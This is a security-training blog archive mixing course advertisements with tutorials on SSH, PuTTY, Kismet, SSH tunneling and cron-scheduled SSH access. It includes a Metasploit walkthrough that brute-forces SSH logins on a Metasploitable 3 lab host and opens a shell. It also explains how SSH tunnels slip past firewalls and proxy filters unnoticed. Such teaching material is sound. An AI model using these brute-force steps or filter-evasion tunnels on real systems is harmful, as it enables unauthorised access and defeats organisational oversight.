Category: Network Security

February 11, 2018February 13, 2018

Network Security, PowerShell, Offensive Security, Exploit Development

Do you really want to be the guy or girl that can just flat out hack! I’m talking about where it just doesn’t matter what’s in front of you – you know that you can figure it out.

It doesn’t matter if you are up against Linux, Windows Server 2016, SharePoint, web apps, or custom apps where you need to modify public exploit code to attack them.

If that’s what you want to be then this is the course bundle for you.

Linux for InfoSec Professionals ($200 if purchased individually)
- https://infosecaddicts.com/linux-infosec-professionals-comptia/
- 12th and 14th of February 2018 from 7pm to 9pm
PowerShell for InfoSec Professionals ($200 if purchased individually)
- https://infosecaddicts.com/powershell-infosec-professionals/
- 19th and 21st of February 2018 from 7pm to 9pm
Offensive PowerShell with Cyber Range ($200 if purchased individually)
- https://infosecaddicts.com/offensive-powershell-with-cyber-range/
- 24th of February from 10am EST to 4pm EST
Exploit Development ($200 if purchased individually)
- https://infosecaddicts.com/exploit-development/
- 26th and 28th of February 2018 from 7pm to 9pm

For today only you can purchase this entire class bundle for only $200 – just click the add to cart below:

$200.00Select options

linux

Being proficient in Linux in the InfoSec world today is an absolute must. This is the class that you absolutely want to take to not only get familiar with Linux but to learn how to use Linux to perform InfoSec tasks instead of just the basics of the operating system.

https://infosecaddicts.com/linux-infosec-professionals-comptia/
12th and 14th of February 2018 from 7pm to 9pm
$200 if purchased individually

For today only you can purchase this entire class bundle for only $200 – just click the add to cart below:

$200.00Select options

powershell

Just like with Linux being proficient in PowerShell in the InfoSec world today is an absolute must because all of the Microsoft technologies today heavily utilize PowerShell. This is the class that you absolutely want to take to not only get familiar with PowerShell but to learn how to use PowerShell to perform InfoSec tasks.

https://infosecaddicts.com/powershell-infosec-professionals/
19th and 21st of February 2018 from 7pm to 9pm
$200 if purchased individually

For today only you can purchase this entire class bundle for only $200 – just click the add to cart below:

$200.00Select options

Offensive Cyber Operations — Offensive PowerShell with Cyber Range

This is the class where the rubber meets the road. This is the class where you put it all on the line and find out what works in the real world and what doesn’t. The Cyber Range is a full blown modern Windows environment (Windows Server 2016, Active Directory 2016, and SharePoint 2016 multi server farm)

https://infosecaddicts.com/offensive-powershell-with-cyber-range/
24th of February from 10am EST to 4pm EST
$200 if purchased individually

For today only you can purchase this entire class bundle for only $200 – just click the add to cart below:

$200.00Select options

Exploit development

This is a fun class. 64bit exploit development. Learn how to write exploits, learn how to modify public exploit to suit your needs.

https://infosecaddicts.com/exploit-development/
26th and 28th of February 2018 from 7pm to 9pm
$200 if purchased individually

For today only you can purchase this entire class bundle for only $200 – just click the add to cart below:

$200.00Select options

Unlimited classes:

If you know that you are interested in this class as well as other InfoSec classes then you should consider the unlimited classes package for $49.99 per month. You can find out more about it by clicking on the link below:

https://infosecaddicts.com/unlimited-classes/

Offensive PowerShell with Cyber Range

February 9, 2018March 6, 2018

Network Security, PowerShell, Offensive Security

Offensive PowerShell class with Cyber Range

On the 24th of March from 10am EST to 4pm EST we will run the first online Offensive PowerShell course with our new Cyber range. The Cyber Range is a full blown modern Windows environment (Windows Server 2016, Active Directory 2016, and SharePoint 2016 multi server farm).

powershell

Here is your chance to use what you learned in the PowerShell class, and get a chance to use all of the popular PowerShell tools such as:

Cyber Range

Students will receive cyber range access on the 22nd of March and maintain access to the new cyber range until the end of April.

Support

Each student will receive access to an InfoSec Addicts Group for the class. Groups are where students can ask questions outside of the regular class hours, work with other students on lab exercises, homework, and challenges.

A class mentor is assigned to the InfoSec Addicts Group to answer questions (allow one day for responses).

Similarly, a Customer Relationship Manager is assigned to the class to manage questions and support issues.

Class Schedule

This class is going to run on Saturday the 24th of March from 10am EST to 4pm EST.

Class Cost

The class cost is regularly $500, but you can get it for $200 if you sign up before February 19th.

Fill out this form to sign up for the class.

$200.00Select options

Unlimited classes:

https://infosecaddicts.com/unlimited-classes/

Free Advanced Network Penetration Testing webinar

January 9, 2018February 15, 2018

Network Security, Offensive Security

In this FREE webinar Joe McCray will cover the fundamentals of the network penetration testing, and how to perform basic penetration testing tasks. This webinar is designed for people with little to no network penetration testing experience.

This webinar will be held on the 1st of February at 1pm EST

Click the link below to sign up for this webinar:

https://attendee.gotowebinar.com/register/6831470640505615106

network penetration testing

Advanced Metasploit and Exploit Development Class

September 25, 2017December 21, 2017

5 Comments

Network Security, Offensive Security, Exploit Development

Advanced Metasploit and Exploit Development Class Bundle

I’ve updated both Metasploit and Exploit Development course. The Metasploit and Exploit Devlopment course is now heavily focused on auxilliary and post-module scripting and exploit course finally has all of the Windows XP removed. Each class is $150, or you can purchase them both as a bundle for $200.

Metasploit Next-Level
https://infosecaddicts.com/next-level-metasploit/
Take your Metasploit skills to the next level in this course that is designed to take a user from little to no experience with Metasploit to using all of the most advanced features of the tool has to offer.

This class is unique in that is starts with an introduction to Ruby scripting (for people with little programming experience), and is heavily focused on writing your own modules in Metasploit.

Ruby fundamentals
Writing simple ruby scripts for security tasks
Metasploit Structure and internals
Automating Metasploit with RC files
Writing auxilliary modules
The Writing of post modules
Writing exploits for Metasploit

This portion of the course bundle runs December 26th – 27th from 10am EST to 4pm EST each day.

Exploit Development
http://infosecaddicts.com/exploit-development/
This workshop takes participants from relatively little exposure to the subject of exploit development. We begin the class with lower level, easy to grasp topics and then expand on those rapidly throughout the day.

For Students with a limited programming background and experience, worry not! Templates are provided for each exploit with the intent being to cut down on the raw programming time in class, and instead focusing more on the methodology and mindset that goes into writing these different exploits.

Here are some of the topics to look forward to:

Stack Overflows
Abusing Structured Exception Handlers on Windows
Shellcoding Tricks (Negative jumps, egg hunters, fragmented shellcode)
Browser Exploits
PDF Exploits
ROP Exploits

This portion of the course bundle runs December 28th – 29th from 10am EST to 4pm EST each day.

You can register for this course bundle by filling out the form below

OpenSSH-PuTTY-SSH

hsamanoudy

September 12, 2017March 16, 2018

Network Security, Defensive Security

What is PuTTY?

Let’s get some background on the topic first of all. PuTTY on its own has no meaning. However, it is a free and open-source software. In fact, it is a terminal emulator, serial console, and network file transfer application. A plenty of network protocols are supported through such application such as Secure Copy (SCP), Secure Shell (SSH), Telnet, rlogin, and raw socket connection. Moreover, a serial port could be connected by PuTTY.

It works fine on Microsoft Windows, which was originally intended to be served by such software. However, Unix-Like operating system has the ability to run some specific releases on them as well. Operating systems like Symbian, Windows Mobile, and Windows Phone are capable of running it as well yet there are no official ports for such platforms. Classic Mac OS and macOS are still worked on to provide a release to them as well.

What does PuTTY have as features?

In fact, there are several features offered by PuTTY such as:

Secure remote terminal is up for variations
SSH encryption key and the version of the used protocol could be managed and controlled by the user
Alternate ciphers such as 3DES, Arcfour, Blowfish, DES, and Public-key authentication are also available.
Control sequences could also be emulated xterm, VT102 or ECMA-48 terminal emulation
Port forwarding with its diverse types: local, remote, and dynamic are all supported with SSH.
IPv6 is supported through the network communication layer
The scheme of delayed compression of [email protected] is also supported.
Connections with serial ports which are local are also allowed.
SSH File Transfer Protocol (SFTP) and SCP clients are specified for the command line. They are referred to as “pscp” and “psftp” respectively.
Sessions which are non-interactive depend on another connection tool of command line called plink.

What is SSH?

Here comes the point of Secure Shell (SSH). It is actually a cryptographic network protocol. What is used for then? It is mainly used for operation over a network which is not secured. Computer systems, for example, could be accessed remotely by users through such network protocol.

The architecture utilized by SSH protocol has the form of a client-server basis. An SSH server is connected to through an SSH client. While login through command-line and remote command execution are supported by most of the applications, SSH has the ability to work for any network service as long as one of the two versions are used: SSH-1 and SSH-2.

Windows is okay for SSH usage but with limited integrations. Unix-like operating systems can get an access to shell accounts using SSH. Protocols like Telnet, Rlogin, rsh, and rexec was intended to get replaced by SSH when first came into existence. The reason is that such protocols send valuable information such as passwords in a plain text format, which is completely insecure. Any packet analyzer has the ability to get such packets sniffed and the password becomes easily accessible then.

On the other hand, SSH offers a secure means of communication. Here, data is encrypted with no meaningful interpretation if sniffed and analyzed. Still, US Central Intelligence Agency relies on some security tools in order for them to get the SSH protocol cracked and the files decrypted at the end of the day. WikiLeaks is the government transparency organization which revealed such vital news last month.

Public or Private Keys

Authenticating a remote computer and further authenticating the user on such computers depends on public-key cryptography used by SSH. Generated pairs of public-private keys automatically could be used for the sake of getting a network connection encrypted, then logging on could be authenticated via a password.

On the other hand, authentication could depend on generating pairs of public-private keys. This way, logging on by a user or a program does not require a password thereafter. While all computers should have the public key, a matching private key is solely owned by one computer or owner who already has access to these computers. The private key stays on its own location without being transferred through the network when the authentication process is performed.

So, what does SSH do at this moment? To elaborate, SSH only makes sure that both the public key and its matching private key exist on whoever offering the public key. Therefore, the authentication is accepted if they both existed. Unknown public keys could be verified in the same manner through knowing the identities such that any attacker could be identified prior to accepting a connection from him.

How does the key get managed?

It is important to get to know the methodology in which a key is stored and checked when using SSH protocol for authentication. A file named ~/.ssh/authorized_keys contains the allowed public keys listed altogether inside the home directory on Unix-like systems.

In order to accomplish the authentication process perfectly, the public key is checked on the remote machine whereas the private key gets checked on the local machine. What happens next is that basically no passwords become needed for the competition of the authentication. Still, locking the private key with a passphrase is also an added layer of security to get the connection established. Some software such as Message Passing Interface (MPI) makes use of the nonexistence of password compliance when the public-private key authentication occurs.

Standard places could have the private key, while the command line setting (the option –i for ssh) can get the full path of the private key specified. Producing public and private keys in pairs could be done using the utility of SSH-keygen.

On the other hand, authentication processes depending on passwords are also supported by SSH protocol. Passwords are encrypted using some automatically generated keys by SSH. This aspect opens a door for an attacker to perform an attack of type man in the middle. In this attack, a fake server could manipulate the client and ask for the password and then get it instead of the legitimate server. Nevertheless, this could only be attained if it is the first time for the two sides never happened to get authenticated before since once they become authenticated, the public key of a server is remembered by SSH.

How could this attack be avoided? This is simply done by the fact that a warning gets displayed when a new, or a previously unknown server attempts to connect. Or, disabling the password authentication is another valid option to avoid the hassle of such attacks.

OpenSSH and OSSH

For the sake of making the software free and available to get used without any cost, the older 1.2.12 release of the original SSH program was the starting point when it was an open source software version. In 1999, using the codebase of such version, Björn Grönvall’s OSSH got released.

OpenBSD developers then worked on developing and improving the code of Grönvall. The result was the successful OpenSSH, which shipped with the 2.6 release of OpenBSD. OpenSSH was then able to get ported onto other operating systems through what is referred to as a portability branch.

OpenSSH supported a plenty of operating systems to the extent that back in 2005 it was the only SSH implementation running on several platforms. OSSH, on the other hand, came to vanish at the same time when OpenSSH got much more viral and popular.

References

https://en.wikipedia.org/wiki/Secure_Shell

https://en.wikipedia.org/wiki/PuTTY

https://en.wikipedia.org/wiki/Comparison_of_SSH_clients
https://www.quora.com/What-purpose-putty-is-used

Kismet Wireless

hsamanoudy

September 6, 2017March 16, 2018

Network Security, Offensive Security, Defensive Security

What is Kismet?

It is very important for specialists in the domain of computer security or particularly information security to know about Kismet and what it can do. Fundamentally, Kismet is a software. It is utilized to detect network traffic, sniff the packets, and also as an intrusion prevention system. It is also important to know that it is an open source security tool.This means that it is a free software, which is a plus.

All platforms which are compliant with Portable Operating System Interface (POSIX) can have Kismet software running on them perfectly. This includes Microsoft Windows, Mac OS X, and BSD. Nevertheless, it works the best on Linux operating systems. This is because monitoring devices for such systems are unencumbered.

Now, it is essential for Kismet to work under the monitoring mode. But why is that? Basically, this aspect is attributed to the fact that any packet which Kismet is capable of hearing could be read and further examined. Yet, when there is no monitor mode capability, there is a certain access point (AP) you are currently associated with from which packets could be sniffed.

Radio Frequency MONitor (RFMON) mode is a critical mode for Kismet in order to be able to use it efficiently to the maximum. A driver supporting RFMON — monitor mode is the first step to use Kismet. Such driver should get configured on the used wireless network interface card (NIC).

What are the configuration models of Kismet?

In fact, there are a plenty of models in which Kismet could be configured. While it is essentially a client-server application, it is allowable to harness it as a standalone application. Moreover, it could operate as a server which supports several clients. Elsewhere, installations of drone Kismet inside the network could make Kismet work as a server. This is where all the captured packets of individual wireless hardware pieces are gathered for analysis and monitoring of the server afterward. The built-in client is used whenever the standalone Kismet is run, although there are several other third-party clients which could work for Kismet as well.

How do Kismet drones work?

Let’s now discuss how Kismet drones are capable of reporting the captured network packets into their own server at the end of the day. Well, this feature is pretty simple since each Kismet drone forwards the captured packets of its own configured wireless card source into one integrated server for all the captured packets. A single log file the combines all of such captured packets in order to execute one unified wireless intrusion alerts for the entire network. Via this way, any LAN having one or two APs can have a wireless intrusion detection system (IDS) represented by Kismet drones.

It is advisable to note that a particular configuration file is required for using each of these components. The rationale beyond this feature is to have a great performance when running Kismet. Such files include Kismet.conf, kismet_ui.conf, and kismet_drone.conf files.

What about the User Interface?

Although there is not anything new or creative about the user interface, it allows a great speed and speed for operating such software. When running Kismet, it first opens the Autofit where all the detected networks are displayed in a list. Some details about each network are displayed as well, but no further details could be viewed other than the ones which are already displayed on the user interface.

So what details are displayed in the first place? Well, there is the decay indicator, network name, network type, WEP status, channel used, packets seen, flags, IP range, and the size of a capture file. All of these details are accessible by the user interface. Nonetheless, there are three cases for the decay indicator:

A recent activity could be indicated by an exclamation mark (!)
A less recent activity could be on the other hand indicated through a period (.)
The non-existence of a recent activity is displayed through a blank, though.

But a good question to ask is: what determines if an activity is actually recent or not? Fundamentally, this is decided by decay variable included inside kismet_ui.conf. Usually, it is around 3 seconds passed and an activity is considered as a recent one.

How can I get help when using Kismet?

It is very vital to seek help when using a software especially if you are pretty new to it. Entering an “h” is the solution to get help from the software; it will pop-up a window from where the Page Up and Page Down could be utilized for navigation through the window. Also, entering “x” simply terminates the window.

How can changing modes have their effect?

The following could be seen all in capital letters at the end of the help window. They include – ALL NETWORK SELECTION, TAGGING, GROUPING, SCROLLING, AND SO ON IS DISABLED IN AUTOFIT MODE. Let’s change this mode and know the Kismet’s reaction regarding such change.

First of all, we need to get the help screen closed. Then, the network list could have its own order changed through entering a simple “s”. The network’s AP’s MAC address could be the means to have the list sorted depending on them in the first place, this can be attained by simply entering “b” now which represents the first letter of the word BSSID, meaning such MAC addresses.

The arrow key of up and down on the keyboard could be relied on for the sake of selecting a specific network. Entering on “i” would yield on getting another window with all the details of this particular AP.

Moreover, Statistics of a channel’s traffic could be shown by entering “a”. In addition, all the MAC addresses interacting with a particular AP could be recognized with a simple “c”. The client list will appear right now. Changing the way in which such addresses are ordered could be done the same way used before as well. For instance, they can be viewed in an order according to the last seen. On the other side, such order could be reversed by a simple “L”.

This aspect, in general, is pretty important to get any AP protected. This is through knowing all the MAC addresses of devices talking to it. In order to view the details of a particular client, we get it highlighted and then selected by a simple “i”. This would show the type of connection in which the client is involved. It also shows the MAC address, and much more information about the client.

Entering an “h” now will display another help window which is more specific than the previously generic one displayed before. Various connection types: From DS, To DS, Intra DS, Established, Sent To, and Unknown is now explained by the help window in this case.

How to get the log files edited?

While a log file gets stored by default inside the directory where Kismet started running, this could be easily manipulated. Inside Kismet.conf, the logtemplate directive could be edited and changed. The created logs will be by default dump, network, CSV, XML, weak, Cisco, and GPS logs. This, however, could be changed through editing the logtypes directive inside kismet.conf as well. The created dump file could be used for analysis by Wireshark and Aircrack-ng if preferred afterward. More information about such security tools could be found on this website as well.

References
https://www.kismetwireless.net/

https://en.wikipedia.org/wiki/Kismet_(software)

https://www.linux.com/news/introduction-kismet-packet-sniffer

https://www.quora.com/How-do-I-secure-my-wireless-network

How to understand SSH perfectly?

September 5, 2017March 16, 2018

Network Security, Offensive Security, Defensive Security

Throughout the following lines, I will be walking through some of the main steps which have to be essentially followed in order for someone new to the field of security administration to be able to excel at such domain. Following the steps will definitely grant a great result by getting to know the different aspects of the topic and fully grasp its concept.

Understand what is meant by a tunneling protocol?

A network user has the ability to access a network service which is not supported directly by the underling network. Or a user can further offer such service to a network of the same sort. What could this notion be used for in practice? Well there are actually three main benefits of such protocol given in the following list:

Running a protocol on a network which actually does not allow for such protocol or merely does not support it. This way, IPv6 can run over IPv4 for instance.
A remote user has the potential to access the network through this method as well. Though it is not a safe choice, an important user or employee within a corporation can get an internal IP address for his machine when working from his home or when traveling. No matter what his machine’s physical IP address is, the machine will have the company’s network address to work as if being inside the company already.
Hiding the nature of a network traffic going through a network is an interesting usage of protocol tunneling as well. But how and why is that? Basically, encryption can be a standard to get a traffic data repackaged when transferring between two networks. Data will not be easily visible when captured by any sniffer because it will be in a form of encryption.

Talking in general, tunneling is considered as a means of sharing data between two different networks. Through such method data of the private network gets encapsulated along with the protocols used into the broadcast of a public network. The public network thereby conceives such protocol information as mere pieces of data.

Get to know SSH Tunneling

A Secure Shell (SSH) tunnel is essentially an encrypted channel which allows for all the traffic to go through it whether such traffic is originally encrypted or not encrypted. It depends on SSH network protocol. Here, the network protocol of a private network gets encapsulated into another protocol which is SSH, making all the communication between them become encrypted.

To illustrate, transferring files between Windows machines over a remote connection utilizes the protocol of Server Message Block (SMB). Because such protocol does not offer an encrypted means of getting the data transferred, meaning that transferring data using this method is ultimately prone to get attacked and exploited by a good attacker.

Mounting a Windows file system which is of SMB type of traffic could be performed in a secure manner accordingly by an encryption channel between the client and the file server through using an SSH tunnel.

Establishing a local SSH tunnel mainly requires setting up –configuring– an SSH client on a machine where a port is being forwarded to another local one on a remote machine. When it becomes established, such specified local port could be connected to by the user to get the network service accessed thereafter. It is important to note the two ports can be different as desired.

One good thing about SSH tunnels is that firewalls could be simply bypassed by mainly making use of them. To elaborate on this point, let’s consider that a device is connected to a network which does not essentially allow for getting any access on the internet. This basically means that port number 80 is closed on any connection to get established through it. One way to play around this restriction is to fundamentally forward a local port on the machine into port number 80 on another machine outside the network where the internet is accessible.

There will be however one remaining obstacle that could be faced despite using SSH tunneling. It is the problem of whether a site allows users to establish outgoing connections or not. If yes, then the method will work perfectly while an organization’s proxy filter will not even notice such bypassing and accordingly will not be capable of prohibiting the access of internet on the machine.

One more benefit of such bypassing is that an organization cannot get to know the traffic going from and into the internet on this machine because it is supposed to be not connected to an internet connection anymore. A remote web server could be accessed by pointing the browser on the original machine to local port at http://localhost/.

Identify the types of SSH tunneling

There are three main categories of SSH tunneling. Each could be used in a different situation and network. They are given by the following list:

Know what is OpenSSH?

References

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://www.hackingarticles.in/perform-local-ssh-tunneling/

https://en.wikipedia.org/wiki/Comparison_of_proxifiers

http://www.hackingarticles.in/perform-remote-tunneling/

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://linux.byexamples.com/archives/115/ssh-dynamic-tunneling/

https://ypereirareis.github.io/blog/2016/09/19/ssh-tunnel-local-remote-port-forwarding/

https://coderwall.com/p/pmf0tw/understand-local-remote-and-dynamic-ssh-tunneling

http://www.hackingarticles.in/time-scheduling-ssh-port/

http://www.hackingarticles.in/web-server-exploitation-ssh-log-poisoning-lfi/

http://www.hackingarticles.in/metasploitable-3-exploitation-using-brute-forcing-ssh/

http://www.hackingarticles.in/secure-port-using-port-knocking/

https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/

http://resources.infosecinstitute.com/metasploitable-2-walkthrough/#gref

How to play around with SSH protocol?

September 4, 2017October 19, 2017

Network Security, Offensive Security, Defensive Security

Know what is port forwarding?

So, we got to know that to establish a tunnel, port forwarding has to become real. How can one do this? Firstly, port forwarding, otherwise referred to as port mapping includes three important techniques combined together:

A new destination is defined for a packet instead of its original address or number of port.
Such packets become usually accepted by firewalls working as packet filters.
The routing tables are used for the sake of forwarding the packets

There are also three types of port forwarding:

Local port forwarding
Remote port forwarding
Dynamic port forwarding

Understand what is SOCKS and SOCKS5?

Socket Secure is a common internet protocol also referred to as SOCKS. Through such protocol, a proxy server could be the means where network packets have the ability to get exchanged between a client and a server.

Authentication is a plus for SOCKS5, meaning that such proxy server cannot be accessed without authenticating a user who is wishing to get access to the server. This implies the fact that there should be some bunch of authorized users that are allowed to get into the server.

In practical, TCP connections become proxied by SOCKS5 protocol to an arbitrary internet protocol (IP) address. Similarly, forwarding of UDP connections can can also happen through such protocol.

It is important to know that the service of such protocol works on TCP port number 1080 where an incoming client connection gets accepted. The layer specified for such protocol is the session layer which is the fifth layer of the Open Systems Interconnection model (OSI model). Such layer resides fundamentally between the presentation layer and the transport layer.

Layer 2 and Layer 3 tunnels are supported by modern versions of OpenSSH where connections can happen on such layers between two devices enabling such connections or tunneling capabilities.

Through such connections, TUN gets created by default on layer 3 whereas TAP gets created by default on layer 2. TUN and TAP are basically virtual network kernel devices, which are fundamentally different from ordinary network devices which are backed up by hardware network adapters.

Such virtual interfaces get created on both devices and then it is allowed to manage the network and adjust the routing. When using them on routers, this will lead to a tunneling of a subnetwork traffic completely not only an application or a port connection as in SOCKS and SSH tunneling respectively. An Ethernet cable between both devices could simply get simulated using two TAP virtual interfaces on both devices. Kernel bridges can occur accordingly using this method.

Get familiar with PuTTY?

Let’s get some background on the topic first of all. PuTTY on its own has no meaning, yet it is a free and open-source software. In fact, it is a terminal emulator, serial console, and also a network file transfer application. A plenty of network protocols are supported through such application such as Secure Copy (SCP), Secure Shell (SSH), Telnet, rlogin, and raw socket connection. Moreover, a serial port could be connected by PuTTY.

Understand Nmap

Nmap also offers a great means of transferring and redirecting data in a flexible manner. While the debugging tool used with Nmap is called Ncat, the utility tool for getting the scan results compared is named Ndiff. Also, a response analysis tool is used to it and is called Nping.

Finally, one advantage of using Nmap is that besides having a command line interface, it provides a user with an interactive Graphical User Interface (GUI). In the meanwhile, the results viewer called Zenmap makes it very easy and simple to understand the results and further analyze them.

Know how to use Brute Forcing SSH to exploit Metasploitable3?

The purpose of this tutorial is mainly to cover SSH login attack. Consider that the port number 22 is open on which SSH service has the capability to run and operate. The operating system used by the attacked machine is Metasploitable 3. We have intentionally opened the ports specifically for this tutorial purposes.

Open the Kali Linux terminal.
Scan for the open ports of the target IP address using the Nmap network security utility. The coming command could be used for this purpose. This way we could be able to understand which ports are allowed to run services on them then. This will show that fortunately, port 22 is open.
```
nmap –p- -sV 192.168.1.8
```

Create a dictionary file type using the following command:

cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 –w /root/Desktop/dict.txt

Just to explain more the last command which we used, let’s get to understand what the command “cewl” is utilized for. Basically, when a customized word list is needed to get made with the use of a given URL, then CeWL should be used.

The dictionary file which we created in the last command is generated from the Wikipedia of Metasploitable 3. This could be used in the following steps to get the password found and discovered.

Start the Metasploit framework now using the following terminal’s command:
```
msfconsole
```

SSH logins should now get tested on a plenty of machines in order to determine the successful logins within such logins. A database plug-in can be loaded where a connection to a database gets recorded. The following module is depended on when getting the successful logins recorded along with the hosts as well.

use auxiliary/scanner/ssh/ssh_login

msf auxiliary(ssh_login)>set rhosts 192.168.1.8

msf auxiliary (ssh_login)>set port 22

msf auxiliary (ssh_login)>set username vagrant

msf auxiliary(ssh_login)>set pass_file /root/Desktop/dict.txt

msf auxiliary(ssh_login)>set stop_on_success true

msf auxiliary (ssh_login)> exploit

The credential as the username being “vagrant” while the associated password with it is “vagrant”. Furthermore, a shell of a victim is opened on a session on the attacker’s machine using SSH connection.

References

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://www.hackingarticles.in/perform-local-ssh-tunneling/

https://en.wikipedia.org/wiki/Comparison_of_proxifiers

http://www.hackingarticles.in/perform-remote-tunneling/

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://linux.byexamples.com/archives/115/ssh-dynamic-tunneling/

https://ypereirareis.github.io/blog/2016/09/19/ssh-tunnel-local-remote-port-forwarding/

https://coderwall.com/p/pmf0tw/understand-local-remote-and-dynamic-ssh-tunneling

http://www.hackingarticles.in/time-scheduling-ssh-port/

http://www.hackingarticles.in/web-server-exploitation-ssh-log-poisoning-lfi/

http://www.hackingarticles.in/metasploitable-3-exploitation-using-brute-forcing-ssh/

http://www.hackingarticles.in/secure-port-using-port-knocking/

https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/

http://resources.infosecinstitute.com/metasploitable-2-walkthrough/#gref

How to perform Time Scheduling on an SSH Port?

September 2, 2017March 1, 2018

Network Security, Offensive Security, Defensive Security

How to perform Time Scheduling on an SSH Port?

Running services on a server could be further secured by a network administrator by getting the tasks scheduled. SSH service could be scheduled as well when it comes to setting a timing limit of the run SSH service on the server. This basically adds another important layer of security inside a network.

For the sake of accomplishing our desired task, we need to make use of the Linux utility named Cron. The special thing about this utility is that it allows for a command or a script to get scheduled to get run automatically according to a particular time and date set before. The scheduled task is considered as the Cron’s job in the first place.

The following steps provide us with a comprehensive means of getting such time scheduling set up.

Open the terminal and type the following command to get the SSH service started
```
Service ssh start
```
Make sure that the SSH service is active and running by typing the following command:
```
Service ssh status
```
Since crontab is already a built-in utility inside a Linux operating system, so let’s load it using the following command using the root privileges:
```
sudo crontab –e
```
The GNU nano will mostly be responsible for getting the crontab interface open on Linux.
It is very important to note that the type of commands used in Crontab is what is referred to as (m h dom mon dow [command]). To elaborate on such format, the following table displays the values which each field could take and vary between.

Field	value
’m’ which stands for minute	0-59
‘h’ which stands for hour	0-23
‘dom’ which stands for date	1-31
‘mon’ whih stands for month	1-12
‘dow’ which stands for day of week	1-7[1 stands for Monday and then it goes up respectively]
command	the required command to be

Let’s consider an example where we need to set a task scheduled on Monday at 8:00 am. This is interpreted in terms of the m h dom mon dow language as:
```
0 8 * * 1 [command]
```
Let’s get back to our original task where we need to get SSH service scheduled using crontab. Accordingly, if we need to get the SSH service activated for 3 minutes after which it will take 4 minutes without service. The command should then look like the following command
```
* * * * * sleep 180;/usr/sbin/service ssh start
```
is important to note that the number 180 is written in terms of seconds not anything else. This means that 3 minutes is, of course, equals to 3*60=180 seconds
Now, we need to get to make sure that the service is to stop 4 minutes right after running. Then, the number of seconds to be used= 4*60=240 seconds. The following command will be of a great use thereby.
```
* * * * * sleep 240;/usr/sbin/service ssh stop
```
In order to make sure that the previous commands work, the following commands could be useful in this case. First, the service should be rebooted first of all. The following command will scan the port number 22 where SSH essentially works to know whether it is open or closed. One of the best tools to use for this kind of scanning is definitely Nmap.
```
nmap  -p 22 127.0.0.1
```
The last command should show that the port is open when we test it. But, after waiting for 4 minutes, we should repeat the command again as follows:
```
nmap  -p 22 127.0.0.1
```
This time, the last command should show that port number 22 is closed now after these 4 minutes. The fourth minute’s scan result will show that it is closed. This means that the schedule works very well!
Let’s now add some small modification into the last schedule which we just set. Let’s consider that we decided that such task is to get started at 06:00 am in the first place. And let’s be more specific and specify that the service is to get closed at 06:00 pm.
The following two commands will be responsible for the tasks of opening and closing the service respectively.
```
0 6 * * * /usr/sbin/service ssh start
```
```
0 18 * * * /usr/sbin/service ssh stop
```
This means that if we scan port number 22 using Nmap on any random day between 6 am in the morning and its counterpart in the evening, the port should be shown as an open one. Otherwise, the port should appear as a closed port.

Let’s get to know more about Nmap security tool:

Network Mapper (Nmap) is one of the best security utilities used for the sake of performing a security

audit or

discover a network and its packages. Being a free software and an open source project, it has become very popular when it comes to network security and this field’s professionals.

It could be utilized for different purposes, from which the following list is given:

As a network inventory
The schedules of a service upgrade could be performed using the software as well.
A server or a host could be monitored to know whether it is up and running or down.
Raw IP packets are utilized by Nmap for the sake of getting to know:
which servers are up and running on the network and which of them are actually not.
Also, such raw packets are depended on when it comes to identifying the services of such hosts including the name and version of the applications.
Getting to know the operating system of such hosts gets known by Nmap as well.
Even the used firewalls or as they are referred to as packet filters can be known using Nmap.

While in fact, such software works the best when operating inside a large network, it still has the capability to work on a single host as desired. A lot of operating systems is supported to run such software such as Linux, Microsoft Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga, and more. In addition, Linux, Windows, and Mac OS X have their official binary packages of the software.

References

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://www.hackingarticles.in/perform-local-ssh-tunneling/

https://en.wikipedia.org/wiki/Comparison_of_proxifiers

http://www.hackingarticles.in/perform-remote-tunneling/

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://linux.byexamples.com/archives/115/ssh-dynamic-tunneling/

https://ypereirareis.github.io/blog/2016/09/19/ssh-tunnel-local-remote-port-forwarding/

https://coderwall.com/p/pmf0tw/understand-local-remote-and-dynamic-ssh-tunneling

http://www.hackingarticles.in/time-scheduling-ssh-port/

http://www.hackingarticles.in/web-server-exploitation-ssh-log-poisoning-lfi/

http://www.hackingarticles.in/metasploitable-3-exploitation-using-brute-forcing-ssh/

http://www.hackingarticles.in/secure-port-using-port-knocking/

https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/

http://resources.infosecinstitute.com/metasploitable-2-walkthrough/#gref

How to Perform Remote SSH Tunneling?

September 2, 2017March 16, 2018

Network Security, Offensive Security, Defensive Security

What is Remote SSH Tunneling?

Imagine that you belong to a company where there are a plenty of internal websites available only inside the network of such company. But however, you are in need of getting connected to these websites from outside the network by a remote machine. What could be the solution?

This situation could be suitable for using a VPN to get connected to the network of the company without any hassles. This solution though requires some work which could be out of hand and cannot be established at the moment. Creating a reverse remote SSH tunnel is the perfect choice in this case.

Now, the command should get executed on the work machine to get connected to the remote machine and let’s call it home machine. The connection should consider the home machine as a client and the work machine as the remote SSH server. Yet, why should the configuration be on the work machine in the first place? Basically, because the outbound traffic is allowed while the incoming traffic is blocking.

The following command will work perfectly for the desired solution:

ssh -R 9001:intra-site.com:80 home (Executed from 'work')

Please note that in the previous code snippet shows that a remote port forwarding is used “R” and the port to be forwarded is 9001 on the home machine while the remote host is that intra-site.com. And of course, the port to which forwarding happens is 80 and it resides on the work machine. Now all the requests of the home machine to utilize port 9001 of the work machine will lead to a connection to that internal website.

On the home machine, typing the following URL will simply open the website from home with no magic: http://localhost:9001

It is important to note that the channel between the work and the internal site is just not encrypted traffic, yet the connection between the work machine and the home machine is of course encrypted using SSH channel.

How can remote HTTP Tunneling be performed using SSH?

A remote SSH connection is to get established between a home machine and a work machine which can connect to the internal office server and any website there. Reading such documents could be done on the home machine as well through such remote SSH tunnel.

